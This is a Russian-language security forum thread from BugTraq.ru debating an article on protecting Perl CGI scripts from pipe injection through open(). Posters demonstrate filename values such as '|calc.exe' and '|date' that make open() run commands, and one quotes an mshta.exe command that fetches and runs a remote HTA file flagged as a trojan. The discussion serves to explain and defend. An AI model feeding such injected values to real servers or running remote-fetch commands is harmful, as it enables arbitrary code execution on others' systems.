информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Где водятся OGRыСетевые кракеры и правда о деле ЛевинаАтака на Internet
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / site updates
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
ничего нового... разве-что нестандартный взляд на защиту... 29.12.03 14:51  Число просмотров: 3234
Автор: DgtlScrm Статус: Member
<"чистая" ссылка>
ничего нового... разве-что нестандартный взляд на защиту перла... хотя как на меня обычное правильное написание програм защитит и так...
<site updates>
Защищаем Perl: шунт в мозг, или зверская нейрохирургия 27.12.03 01:38  
Publisher: dl <Dmitry Leonov>
<"чистая" ссылка>
Защищаем Perl: шунт в мозг, или зверская нейрохирургия
Роман Чертанов roman_chertanov@mail.ru

P { font-family : Arial; font-size : 14px; color : #000000; } PRE { font-size : 12px; color : #000000; } I { font-size : 14px; color : #000077; } LI { font-family : Arial; font-size : 14px; color : #000000; } blockquote { font-family : Times; font-size : 14px; color : #000000; font-style: italic}
Если вы программируете (или собираетесь программировать) Internet-приложения на языке Perl, то наверняка сталкивались с информацией, описывающей уязвимости этого языка для хакерских атак. Простейший скрипт, приведенный в любом учебнике по языку Perl, на поверку оказывается "широко открытыми воротами" для хакеров, как многоопытных, так и начинающих. Например, фрагмент кода, который просто выводит содержимое указанного файла
open(f,$filename); while(<f>) { print; }
на самом деле может выполнять и другие действия. Подайте на его вход строку "|calc.exe", и вы запустите на выполнение...

Полный текст
строку "|calc.exe", и вы запустите на 06.01.04 13:31  
Автор: Матвей Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> Защищаем Perl: шунт в мозг, или зверская нейрохирургия
> Роман Чертанов roman_chertanov@mail.ru

> на самом деле может выполнять и другие действия. Подайте на
> его вход
строку "|calc.exe", и вы запустите на
> выполнение...

вся статья теряет смысл (включая "лоботомии") когда прочитаешь perldoc perlrun на предмет ключа -T
Зараженный режим не всегда катит... 08.01.04 13:03  
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> вся статья теряет смысл (включая "лоботомии") когда
> прочитаешь perldoc perlrun на предмет ключа -T
... хотя Вы правы, по-хорошему надо бы изменить статью, чтобы там это было. "зараженный режим" требует неочевидной и достаточно громоздкой переделки кода (в учебниках, например, никто ничего не фильтрует, и новичку может быть непонятно вообще как это делать). Предложенный же в статье трюк не налагает никаких требований на пользователя, и не требует ничего менять в уже работающем и отлаженном коде.
Какой он нафиг отлаженный, если в нем дыры, позволяющие... 26.01.04 18:37  
Автор: amigo Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> трюк не налагает никаких требований на пользователя, и не
> требует ничего менять в уже работающем и отлаженном коде.

Какой он нафиг отлаженный, если в нем дыры, позволяющие файлы запускать?

К тому же использовать для открытия файлов функцию-wrapper для новичкагораздопроще, чем искать вызовы WinAPI через SoftICE.
wrapper 14.02.04 18:39  
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
<"чистая" ссылка>

> Какой он нафиг отлаженный, если в нем дыры, позволяющие
> файлы запускать?
>
Я имею в виду разного рода примеры, которые новички могут встретить в инете или в книгах. Они совсем не обязательно заточены на исп. ключа -T.

> К тому же использовать для открытия файлов функцию-wrapper
> для новичкагораздопроще, чем искать вызовы WinAPI через
> SoftICE.

Так я враппер и рекламирую? А если недоступны исходники (или лень их качать и компилить), то можно по быстрому покоцать пару функций в dll. SoftIce здесь не нужен (я его не юзал), хотя как вариант возможен и он.
05-01-2004 09:49:34 C:\Documents and Settings\....\Local... 05.01.04 02:00  
Автор: SkyRanger Статус: Незарегистрированный пользователь
<"чистая" ссылка>
05-01-2004 09:49:34 C:\Documents and Settings\....\Local Settings\Temporary Internet Files\Content.IE5\CPIN8L6R\foobar[1].htm инфицирован Trojan.MulDrop.500 - доступ к файлу запрещен

Это что за приколы позвольте спросить???
Предварительное скачивание и запуск показал что тама сидит троянчик!
Ради прикола я его
mshta.exe http://www.malware.com/foobar.hta
запустил и мой drweb заорал мол вай-вай вирус однака! :)

Может не нада делать таких вещей??? Некрасиво как то...
Антивирусы показывают не троян, а потенциальную возможность трояна 08.01.04 00:47  
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Дело в том, что в антивирусные базы внесен указанный способ вторжения. Об этом красным по белому (правда, по английски) есть предупреждение на сайте malware.com. Но то, что там прикреплен не деструктивный файл, а просто прога под названием fire.exe (которая показывает огонь), я проверял. Попробуйте и вы прикрепить прогу "hello. world", антивирусы ругнутся точно так же. Они не хотят и не обязаны проверять что там прикреплено, и абсолютно правильно предупреждают юзеров о возможной опасности. Сайт умный и нормальный, поэтому я им доверяю.

> 05-01-2004 09:49:34 C:\Documents and Settings\....\Local
> Settings\Temporary Internet
> Files\Content.IE5\CPIN8L6R\foobar[1].htm инфицирован
> Trojan.MulDrop.500 - доступ к файлу запрещен
>
> Это что за приколы позвольте спросить???
> Предварительное скачивание и запуск показал что тама сидит
> троянчик!
> Ради прикола я его
> mshta.exe http://www.malware.com/foobar.hta
> запустил и мой drweb заорал мол вай-вай вирус однака! :)
>
> Может не нада делать таких вещей??? Некрасиво как то...
ничего нового... разве-что нестандартный взляд на защиту... 29.12.03 14:51  
Автор: DgtlScrm Статус: Member
<"чистая" ссылка>
ничего нового... разве-что нестандартный взляд на защиту перла... хотя как на меня обычное правильное написание програм защитит и так...
Правильное написание программ, говорите? 16.05.04 16:09  
Автор: feldgendler Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> ничего нового... разве-что нестандартный взляд на защиту
> перла... хотя как на меня обычное правильное написание
> програм защитит и так...

В статье автор справедливо заметил, что для того, чтобы защитить такой участок кода, как open(f,$filename), приходится быть экспертом по Perl. Я охотно верю, что Вы и есть такой эксперт и знаете обо всех специальных возможностях функции open() и других функций, а, значит, можете произвести все необходимые проверки, чтобы избежать нежелательного задействования таких возможностей (оставим за скобками фактор человеческой рассеянности). Но есть ещё и такой момент: вот эта упомянутая возможность с символом |, наверное, не в первой версии Perl появилась -- просто в какой-то момент её добавили, посчитав, что это полезно и удобно. А если в следующей версии Perl добавят ещё одну новую возможность? Тогда, получается, Вы уже не будете абсолютным экспертом по Perl, и может оказаться, что ваша существующая, правильно написанная программа при запуске под новой версией Perl окажется уязвимой. Следовательно, чтобы писать безопасные программы, нужно быть экспертом по всем возможностям Perl и постоянно быть в курсе всех новых возможностей. Кроме того, существующие программы могут оказаться уязвимыми в свете появления новых возможностей, и их потребуется исправлять

Справедливости ради хочу заметить, что разработчики практически всех серверных программных средств, включая авторов Perl, уже осознали степень риска, вводимого всевозможныминеявными"фишками" вроде упомянутого знака |, и в новых версиях мы вряд ли увидим такие новые автоматические средства, включить которые можно неосторожным движением. Напротив, более вероятно, что каждая новая версия будет более ограниченной в таких "автоматических" средствах при настройках по умолчанию. Я не знаток Perl, но насчёт PHP могу сказать, что именно так и происходит. Когда-то, например, параметры, указанные в HTTP-запросе, автоматически преобразовывались в переменные с такими именами, а это значит, что, если какую-то переменную забыли инициализировать явно, понадеявшись на автоматическую инициализацию пустым значением, есть возможность повлиять на выполнение скрипта, приписав к URL суффикс ?variable=value. Начиная с некоторой версии PHP, такое поведение больше не действует по умолчанию, но доступно по специальной настройке, в основном для обратной совместимости.

Также считаю нужным сказать, что мой комментарий ни в коем случае нельзя рассматривать как утверждение о том, что практика constrain and sanitize (проверки всех входных значений) бесполезная порочная. Напротив, я обеими руками за последовательное применение такой практики, а также за введение в языки и библиотеки автоматизированных средств для этого (таких, как функция htmlescape() в PHP). Во-первых, два рубежа защиты лучше, чем один, и в сочетании с методом, описанным в статье, проверка входных значений даст ещё лучший уровень защищённости. А, во-вторых, далеко не все виды атак принципиально пресекаемы при помощи описанного автором метода; так, например, классическое SQL injection (внедрение SQL-фрагментов во входные данные) невозможно предотвратить таким способом.
open(f,$filename); 29.12.03 06:52  
Автор: Юниксд после лоботомии... Статус: Незарегистрированный пользователь
<"чистая" ссылка>

>
open(f,$filename);
while(<f>)
{
print;
}



> на самом деле может выполнять и другие действия. Подайте на
> его вход
строку "|calc.exe", и вы запустите на
> выполнение...

Интересно, а если в Unix на вход подать "|date" то это должно сработать?
Если да, то почему у меня не срабатывает???
надо сделать $filename = "date|" 29.12.03 19:14  
Автор: LLL <Алексей> Статус: Member
<"чистая" ссылка>
ибо date в юниксе ничего не берет со входа
Перепроверил в виндах - работает 29.12.03 18:57  
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> >Подайте на его вход строку "|calc.exe", и вы запустите на
> > выполнение...
>
> Интересно, а если в Unix на вход подать "|date" то это
> должно сработать?
> Если да, то почему у меня не срабатывает???
>
Я перепроверил этот код с последней версией ActivePerl в виндах - эта кора именно там есть. :-)

Ты так делал?
#perl
$filename="|date";
open (HTM1,$filename);

У меня этот фрагмент спрашивает, не хочу ли я ввести текущую дату.
;-) хм... 31.12.03 07:30  
Автор: Юниксоид с опухшей головой Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> > >Подайте на его вход строку "|calc.exe", и вы
> запустите на
> > > выполнение...
> >
> > Интересно, а если в Unix на вход подать "|date" то это
> > должно сработать?
> > Если да, то почему у меня не срабатывает???
> >
> Я перепроверил этот код с последней версией ActivePerl в
> виндах - эта кора именно там есть. :-)
>
> Ты так делал?
> #perl
> $filename="|date";

;-) хм...
я бы удивился, если бы эта команда не делала то, что она должна делать....

Что такое "подать на вход" ?
Имеется в виду стандартный ввод или файл,
т.е. "|date" подается как данные...
Если это не так, а имеется в виду, то что выше,
то я вообще не пойму, что тут обсуждать....
И что тут нового?

> open (HTM1,$filename);
>
> У меня этот фрагмент спрашивает, не хочу ли я ввести
> текущую дату.

> Что такое "подать на вход" ? 31.12.03 14:48  
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> Что такое "подать на вход" ?
Это значит что заходишь на веб-сайт, и при помощи одного лишь браузера можешь его взломать (запустить там произвольный код).
Нового действительно в этом ничего нет. :-)
бред 05.01.04 10:17  
Автор: Юниксоид Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> > Что такое "подать на вход" ?
> Это значит что заходишь на веб-сайт, и при помощи одного
> лишь браузера можешь его взломать (запустить там
> произвольный код).
> Нового действительно в этом ничего нет. :-)

Наивный!
Учите perl. Нового тут ничего нет.

$ cat /tmp/0
#!/usr/local/bin/perl

$filename="|date";
open(HTM1,$filename);
$ /tmp/0
Mon Jan 5 12:13:18 ZLT 2004

$ cat /tmp/1
#!/usr/local/bin/perl -T

$filename="|date";
open(HTM1,$filename);
$ /tmp/1
Insecure $ENV{PATH} while running with -T switch at /tmp/1 line 4.
$

Вопросы есть?

БРЕД 05.01.04 10:37  
Автор: Юниксоид Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> > > Что такое "подать на вход" ?
> > Это значит что заходишь на веб-сайт, и при помощи
> одного
> > лишь браузера можешь его взломать (запустить там
> > произвольный код).
> > Нового действительно в этом ничего нет. :-)
>
> Наивный!
> Учите perl. Нового тут ничего нет.
>
> $ cat /tmp/0
> #!/usr/local/bin/perl
>
> $filename="|date";
> open(HTM1,$filename);
> $ /tmp/0
> Mon Jan 5 12:13:18 ZLT 2004
>
> $ cat /tmp/1
> #!/usr/local/bin/perl -T
>
> $filename="|date";
> open(HTM1,$filename);
> $ /tmp/1
> Insecure $ENV{PATH} while running with -T switch at /tmp/1
> line 4.
> $
>
> Вопросы есть?

да, и, кстати, нормальные люди проверяют
не наличие "недопустимых" символов,
а наличие только допустимых...
исходя из общего принципа, что запрещено все, что
явно не разрешено...
т.е. должен быть короткий список разрешенных символов,
а не большой и заведомо неполный запрещенных...

Я уж не говорю о том,
что разрешать всем через web открывать любой файл на сервере - это полный бред...
тут совсем не perl виноват(или его разработчики), а кто-то другой...

Я, кстати, совсем не фанатик perl-а...
но не надо с больной головы на здоровую перекладывать...
Insecure $ENV{PATH} while running with -T 08.01.04 13:41  
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> > $ cat /tmp/1
> > #!/usr/local/bin/perl -T
> >
> > $filename="|date";
> > open(HTM1,$filename);
> > $ /tmp/1
> > Insecure $ENV{PATH} while running with -T switch at
> /tmp/1
> > line 4.
> > $
> >
> > Вопросы есть?

Мне кажется что способ с подменой функций прикольнее. :-)
Не потребуется переделывать код во многих местах.
Проще для новичков.

> да, и, кстати, нормальные люди проверяют
> не наличие "недопустимых" символов,
> а наличие только допустимых...
> исходя из общего принципа, что запрещено все, что
> явно не разрешено...
> т.е. должен быть короткий список разрешенных символов,
> а не большой и заведомо неполный запрещенных...

Ну так тоже можно. Это как дедукция (исключение) и индукция
(включение). Какой метод лучше, сказать трудно :-)

> Я уж не говорю о том,
> что разрешать всем через web открывать любой файл на
> сервере - это полный бред...

Ну я тоже об этом не говорю :-)
Просто новички именно так и поступают, потому что программные продукты сами по себе стимулируют их делать ошибки.

> тут совсем не perl виноват(или его разработчики), а кто-то
> другой...

Ну да, разработчики ОС :-)

> Я, кстати, совсем не фанатик perl-а...
> но не надо с больной головы на здоровую перекладывать...

Я тоже :-)
лудче запретить все и разрашать, только по мере... 13.01.04 08:25  
Автор: DgtlScrm Статус: Member
<"чистая" ссылка>
> > да, и, кстати, нормальные люди проверяют
> > не наличие "недопустимых" символов,
> > а наличие только допустимых...
> > исходя из общего принципа, что запрещено все, что
> > явно не разрешено...
> > т.е. должен быть короткий список разрешенных символов,
> > а не большой и заведомо неполный запрещенных...
>
> Ну так тоже можно. Это как дедукция (исключение) и индукция
> (включение). Какой метод лучше, сказать трудно :-)

лудче запретить все и разрашать, только по мере необходимости. Это однозначно!

> > тут совсем не perl виноват(или его разработчики), а
> кто-то
> > другой...

> Ну да, разработчики ОС :-)

это не ошибка а фича... и виноват именно программист! А не ОС или Перл :Р
Наверное у тебя перед трубой добавляется слеш... 29.12.03 14:53  
Автор: DgtlScrm Статус: Member
<"чистая" ссылка>
Гы, ну от эклектичности Перл не избавится, думаю, никогда :) 28.12.03 00:55  
Автор: Ktirf <Æ Rusakov> Статус: Elderman
<"чистая" ссылка>
А вообще статья хорошая.
1  |  2 >>  »  




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach